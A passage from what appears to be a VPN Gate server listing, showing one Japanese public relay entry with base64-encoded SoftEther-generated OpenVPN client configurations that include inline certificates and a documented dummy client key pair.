eGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-255,219.100.37.224,2783944,22,266841835,Japan,JP,125,5448093005,25631157,1519620869820972,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjIyNCA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RN